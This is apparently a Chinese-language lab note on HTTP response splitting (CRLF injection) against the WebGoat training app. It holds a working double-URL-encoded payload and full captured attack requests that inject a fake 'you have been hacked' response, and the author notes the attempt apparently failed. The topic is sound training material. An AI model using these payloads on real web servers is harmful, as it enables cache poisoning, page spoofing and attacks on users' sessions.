原理: HTTP 拆分響應攻擊 也叫 CRLF 攻擊
利用數據包中的%0d 換行符 %0a 回車 在一個數據包中再構造一個數據包
服務器解析 會返回2個響應包 第一個是正常響應包 第二個為 攻擊者構造好的響應包
危害:1.構造XSS 可以獲取很多別人服務器上的信息 刺激
2.污染緩存 緩存污染,欺騙緩存,使其相信使用HTTP拆分劫持的頁面是一個很正常的頁面,是一個服務器的副本
3.構造CSRF 可以讓受害者 跳轉到我們指定的網頁 比如轉錢什么的 前提是他當前瀏覽器 已經登陸了賬戶 我們劫持了后 他用代理服務器訪問時 會訪問我們劫持的轉錢頁面 從而使得 嗯 對
也就是 可利用這個漏洞 結合其他很多漏洞進行組合攻擊
這里玩的靶場是 webgoat 很老的一個洞了
官方原理:攻擊者在向 Web 服務器正常輸入的請求中加入惡意代碼,受到攻擊的應用不會檢查CR(回車,也可表示為%0d或\r)和LF(換行,也可表示為%0a或\n)
每個數據包鍵值后用 了 %0d %0a 實現一次換行 回車
這個要自己試了 理解才更清晰點 owaspbwa webgoat 靶場
POST請求好像就應該在數據里面進行%0d%0a 轉義換行回車
而GET請求 可在 url中進行轉義 這樣 響應就被拆分成了2個數據包
注意轉義要用2次url 編碼 為什么 ? 第一次url編碼 是提交時要用的 第二次是服務器解析用的
正常情況提交數據 瀏覽器會對數據進行一次url編碼 數據到服務端 服務端會對收到的數據進行解碼
狠麻煩 容易搞錯
http數據包格式狠容易錯的
第一次url編碼 無論是使用在線編碼還是用burp encode 進行編碼 都容易出問題
還是自己構造好 就是麻煩
china
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Mon, 27 Oct 2099 14:50:18 GMT
Content-Length: 47
you have been hacked
這里每個換行 都有 url編碼 %0d%0a
寫腳本也行 手工也行 這個網站靠譜點:http://www.jsons.cn/urlencode/
url編碼后 放在記事本 選擇替換 把 %0A 換成%0D%0A
然后再進行一次url編碼
burp 抓包
POST /WebGoat/lessons/General/redirect.jsp?Screen=3&menu=100 HTTP/1.1
Host: 192.168.202.134
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
Origin: http://192.168.202.134
Authorization: Basic cm9vdDpvd2FzcGJ3YQ==
Connection: close
Referer: http://192.168.202.134/WebGoat/attack?Screen=3&menu=100&fromRedirect=yes&language=chinaContent-Length:%200HTTP/1.1%20200%20OKContent-Type:%20text/htmlContent-Length:%2047%3Chtml%3EInsert%20undesireable%20content%20here%3C/html%3E
Cookie: JSESSIONID=D3B7373D7D7464BD4C7D5C6E7E6F4879; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada
Upgrade-Insecure-Requests: 1
language=china%250D%250AContent-Length%253A%25200%250D%250A%250D%250AHTTP%252F1.1%2520200%2520OK%250D%250AContent-Type%253A%2520text%252Fhtml%250D%250ALast-Modified%253A%2520Mon%252C%252027%2520Oct%25202099%252014%253A50%253A18%2520GMT%250D%250AContent-Length%253A%252047%250D%250A%250D%250Ayou%2520have%2520been%2520hacked&SUBMIT=Search%21
獲取到我們的相應包 繼續轉發
GET /WebGoat/attack?Screen=3&menu=100&fromRedirect=yes&language=china%0D%0AContent-Length%3A%200%0D%0A%0D%0AHTTP%2F1.1%20200%20OK%0D%0AContent-Type%3A%20text%2Fhtml%0D%0ALast-Modified%3A%20Mon%2C%2027%20Oct%202099%2014%3A50%3A18%20GMT%0D%0AContent-Length%3A%2047%0D%0A%0D%0Ayou%20have%20been%20hacked HTTP/1.1
Host: 192.168.202.134
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.202.134/WebGoat/attack?Screen=3&menu=100&fromRedirect=yes&language=chinaContent-Length:%200HTTP/1.1%20200%20OKContent-Type:%20text/htmlContent-Length:%2047%3Chtml%3EInsert%20undesireable%20content%20here%3C/html%3E
Authorization: Basic cm9vdDpvd2FzcGJ3YQ==
Connection: close
Cookie: JSESSIONID=D3B7373D7D7464BD4C7D5C6E7E6F4879; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada
Upgrade-Insecure-Requests: 1
理論上應該成功了的
參考 https://www.cnblogs.com/arlenhou/articles/webgoatsplittinghttp.html
看了看 別人的博客 真就抄了又抄唄 其實就只看了作者 的 其他的抄的根本沒有理解
再來 爺還不信了
要不就是webgoat 有bug 要不就是我代碼錯了
